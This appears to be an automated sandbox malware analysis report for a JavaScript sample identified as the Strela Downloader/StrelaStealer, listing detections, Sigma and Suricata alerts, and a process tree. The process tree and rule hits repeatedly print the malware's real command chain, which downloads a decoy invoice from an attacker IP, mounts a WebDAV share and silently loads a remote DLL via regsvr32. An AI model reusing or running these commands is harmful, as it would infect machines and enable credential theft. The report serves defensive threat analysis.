Edit tour

Windows Analysis Report
1849946161599211804.js

Overview

General Information

Sample name:	1849946161599211804.js
Analysis ID:	1588554
MD5:	91be7eeb9d6d4d2ee4ce0bc58dbe61a8
SHA1:	6d789bcc0c37b20b259b01d4bda9db0ea88111ab
SHA256:	b3429d872b9c0c19eab72413e63c65224e0573b9fc38ebaee76fcf5ca0de4a2f
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1396 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1868 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2000 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3180 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7368 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1568,i,11927233593023395360,797223698240011485,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6200 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6000 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7196 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1396	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1868, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2000, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1868, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2000, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js", ProcessId: 1396, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6000, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 1868, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 1868, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 1868, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 1868, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 1868, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js", ProcessId: 1396, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1868, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2000, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6200, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6000, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7196, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6200, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6000, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 1868, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:20:44.369151+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:20:47.242257+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:20:44.369151+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1849946161599211804.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1849946161599211804.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:20:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
